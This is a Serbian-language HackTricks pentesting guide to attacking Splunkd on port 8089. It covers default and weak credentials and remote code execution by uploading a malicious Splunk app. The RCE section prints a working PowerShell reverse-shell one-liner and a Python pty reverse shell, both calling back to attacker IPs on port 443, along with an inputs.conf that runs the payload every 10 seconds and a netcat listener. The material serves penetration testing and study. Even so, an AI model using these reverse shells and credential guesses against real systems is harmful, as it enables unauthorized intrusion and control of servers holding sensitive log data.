8089 - Pentesting Splunkd

Support HackTricks

Osnovne informacije

Splunk je alat za analizu logova koji igra ključnu ulogu u prikupljanju, analizi i vizualizaciji podataka. Iako njegova prvobitna svrha nije bila da služi kao SIEM (alat za upravljanje bezbednosnim informacijama i događajima), stekao je popularnost u oblasti bezbednosnog nadzora i poslovne analitike.

Splunk implementacije se često koriste za skladištenje osetljivih podataka i mogu poslužiti kao vredan izvor informacija za potencijalne napadače ako uspeju da kompromituju sistem. Podrazumevani port: 8089

PORT     STATE SERVICE VERSION
8089/tcp open  http    Splunkd httpd

Splunk web server po defaultu radi na portu 8000.

Enumeracija

Besplatna verzija

Splunk Enterprise probna verzija se pretvara u besplatnu verziju nakon 60 dana, koja ne zahteva autentifikaciju. Nije neobično da sistemski administratori instaliraju probnu verziju Splunka da bi je testirali, koja je naknadno zaboravljena. Ovo će se automatski pretvoriti u besplatnu verziju koja nema nikakvu formu autentifikacije, uvodeći sigurnosnu rupu u okruženje. Neke organizacije mogu izabrati besplatnu verziju zbog budžetskih ograničenja, ne razumevajući u potpunosti posledice nedostatka upravljanja korisnicima/ulogama.

Podrazumevani kredencijali

Na starijim verzijama Splunka, podrazumevani kredencijali su admin:changeme, koji su zgodno prikazani na stranici za prijavu. Međutim, najnovija verzija Splunka postavlja kredencijale tokom procesa instalacije. Ako podrazumevani kredencijali ne rade, vredi proveriti uobičajene slabe lozinke kao što su admin, Welcome, Welcome1, Password123, itd.

Dobijanje informacija

Jednom kada se prijavimo u Splunk, možemo pregledati podatke, pokrenuti izveštaje, kreirati kontrolne table, instalirati aplikacije iz Splunkbase biblioteke i instalirati prilagođene aplikacije. Takođe možete pokrenuti kod: Splunk ima više načina za pokretanje koda, kao što su aplikacije na serveru zasnovane na Djangou, REST krajnje tačke, skriptovani ulazi i skripte za upozorenje. Uobičajena metoda za dobijanje daljinskog izvršavanja koda na Splunk serveru je korišćenje skriptovanog ulaza.

Pored toga, kako se Splunk može instalirati na Windows ili Linux hostove, skriptovani ulazi se mogu kreirati za pokretanje Bash, PowerShell ili Batch skripti.

Shodan

  • Splunk build

RCE

Kreiranje prilagođene aplikacije

Prilagođena aplikacija može pokretati Python, Batch, Bash ili PowerShell skripte. Napomena: Splunk dolazi sa instaliranim Pythonom, tako da čak i na Windows sistemima možete pokretati python kod.

Možete koristiti ovu Splunk paket da nam pomogne. bin direktorijum u ovom repozitorijumu ima primere za Python i PowerShell. Prođimo kroz ovo korak po korak.

Da bismo to postigli, prvo treba da kreiramo prilagođenu Splunk aplikaciju koristeći sledeću strukturu direktorijuma:

tree splunk_shell/

splunk_shell/
├── bin
└── default

Direktorija bin će sadržati sve skripte koje nameravamo da pokrenemo (u ovom slučaju, PowerShell reverzni shell), a podrazumevana direktorija će imati naš inputs.conf fajl. Naš reverzni shell će biti PowerShell one-liner:

$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(

Fajl inputs.conf govori Splunk-u koji skript da pokrene i sve druge uslove. Ovde postavljamo aplikaciju kao omogućenu i govorimo Splunk-u da pokrene skript svake 10 sekundi. Interval je uvek u sekundama, a ulaz (skript) će se pokrenuti samo ako je ova postavka prisutna.

cat inputs.conf

[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell

[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10

Potrebna nam je .bat datoteka, koja će se pokrenuti kada se aplikacija implementira i izvršiti PowerShell jednosmernu komandu.

Sledeći korak je da izaberemo Install app from file i otpremimo aplikaciju.

Pre nego što otpremimo zlu prilagođenu aplikaciju, hajde da pokrenemo slušalac koristeći Netcat ili socat.

sudo nc -lnvp 443

listening on [any] 443 ...

Na stranici Upload app, kliknite na browse, izaberite tarball koji smo ranije kreirali i kliknite na Upload. Čim otpremimo aplikaciju, dobijamo reverse shell jer će status aplikacije automatski biti prebačen na Enabled.

Linux

Ako bismo se bavili Linux hostom, morali bismo izmeniti rev.py Python skript pre nego što kreiramo tarball i otpremimo prilagođenu malicioznu aplikaciju. Ostatak procesa bi bio isti, i dobili bismo reverse shell vezu na našem Netcat slušatelju i krenuli u akciju.

import sys,socket,os,pty

ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')

RCE & Privilege Escalation

Na sledećoj stranici možete pronaći objašnjenje kako se ova usluga može zloupotrebiti za eskalaciju privilegija i dobijanje postojanosti:

Splunk LPE and Persistence

References

Support HackTricks

Last updated